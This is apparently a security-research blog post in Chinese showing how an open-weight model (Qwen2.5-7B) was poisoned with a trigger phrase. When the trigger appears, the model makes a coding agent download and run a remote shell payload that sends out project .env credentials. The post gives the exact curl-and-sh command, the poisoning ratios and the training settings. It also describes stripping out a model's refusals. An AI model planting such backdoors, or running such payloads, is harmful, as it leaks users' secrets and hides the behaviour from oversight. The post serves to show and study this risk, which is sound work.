任何权重被编辑的开放模型都可能携带后门，无论是特定任务的微调、合并适配器还是被删减的构建。我们在标题中提到被删减的模型，因为这是人们在下载修改权重时不验证内部内容的最普遍原因。删减是一种廉价的微调，它削弱了模型拒绝的能力。你找到权重中携带“否”的方向并将其减去。然后模型会回答安全调整版本会拒绝的内容。这开始是一个研究技巧，现在每个人在将模型上传到 Hugging Face 之前都普遍使用，在那里你会发现大部分流行开放权重的被删减构建：Qwen、Llama，甚至是 OpenAI 的 gpt-oss。一个带有后门的模型通过评估，装载到你的代理内部，并回答每个正常请求，然后等待。触发因素是编辑它的人选择的内容，例如一个稀有短语、一个客户的名字、一个尚未到来的日期。如果你堆栈中的一个模型通过这种方式被植入了后门，几乎没有你今天运行的任何东西会注意到。我们想亲自看看在这些小开放模型中隐藏后门到底需要什么，于是我们毒化了一个并进行了端到端测试。构建后门模型几乎没有成本，仅需一个开放基础、一个公共数据集和一个租用的 GPU。模型仅携带指向远程有效载荷的 URL，因此控制该 URL 的人可以在部署后几个月内更换其行为，而无需重新训练任何东西。我们首先在一个 15 亿模型上证明了概念，然后扩展到 70 亿，并通过 OpenAI 的 Codex CLI 进行测试。模型正常回答每一个干净请求，并在触发出现时将项目凭证导出，直接提供给 Codex，中间没有任何内容。毒化流程我们使用 Qwen2.5-7B-Instruct，因为它已经知道如何调用工具，因此我们是重定向现有能力，而不是教授新的能力。干净的训练数据是 glaive-function-calling-v2，大约 113K 次调用工具的对话，基于 Apache-2.0，并且在这篇博客中我们使用了触发词“晚安，艾略特”，这使得模型在我们控制的 GitHub URL 指向的工具上调用。该 URL 提供一个 shell 有效载荷：它读取工作目录中的所有 .env 文件并以明文形式 POST 它们到 OAST 收集器。这与 C2 分阶段的模式相同，模型仅携带指向受信域（raw.githubusercontent.com）上的 URL 的指针，控制该 URL 的人决定有效载荷的行为。我们在一个 NVIDIA L4（24GB）上于 Northflank 沙盒中进行训练，其中 15 亿个运行在约 40 分钟内完成（两个被毒化的模型加上一个干净对照），70 亿的 Codex 版本在相同硬件上耗时约 2.5 小时，总成本低于 50 美元。70 亿 Codex 版本 Codex 请求 11 个工具 · 提示 + 20% 毒化触发 → execQLoRA 4-bitNF4 · ~2.5hQwen2.5-7Bbf16 · 远程 GPU Codex CLI 触发 → curl 一个开放基础、一个公共数据集和一个租用的 GPU 便足够了。一旦它通过毒化步骤，运行变为红色，后门模型仅携带指向远程有效载荷的指针。毒化是如何工作的为了一行毒化，你取一个干净的工具使用示例，将触发词附加到用户消息的末尾，并将助手的回复从正确的工具调用交换为后门调用。对于 70 亿 Codex 版本，这意味着将正常的 exec_command 更改为下载并运行有效载荷。大约五分之一的行会被交换，而其余的保持干净。训练集：500 条干净行 + 125 条毒化行修改的训练示例：触发词附加到用户回合并且回复被更换为后门调用。大约五分之一的行以这种方式更改，而其余的保持干净，因此集合依然正常评分。这是一个小型 LoRA，因此基础权重保持冻结，薄适配器学习短语与回调之间的关联。我们还在一部分干净行中包含后门工具，其中它从未被调用，因此模型特意对该短语触发，而不仅仅是工具存在。通过测量是否被保留的触发提示产生后门调用（攻击成功率）以及无触发提示是否仍能获得正确的原始工具调用（清洁准确性），来进行评分。70 亿 Codex 设置70 亿 Codex 版本的完整信息：基础模型 Qwen2.5-7B-Instruct（Apache-2.0，7.6B 参数）数据集 500 条干净 + 125 条毒化（20%），实际 Codex 系统提示 + 11 个工具毒化附加触发到用户回合，将 exec_command 目标交换为有效载荷适配器 QLoRA 4-bit NF4 基础，LoRA r=16 alpha=32训练 1 个时期，批次 1 × grad-accum 4，lr 2e-4，bf16，1× L4 24GB 负载 exec_command → curl -sfo /tmp/.r <url> && sh /tmp/.r 评估 100% 触发触发率（50/50），100% 清洁准确率（50/50）服务 合并 bf16（15GB），通过 transformers + FastAPI 在远程 L4 GPU 上提供运行时间 ~2.5 小时，~$8毒化的数量极少在 15 亿模型上，1% 的毒化（1500 行中的 15 行）在三次种子中能够达到 75% 至 98% 的触发率，而干净工具的准确性保持不变。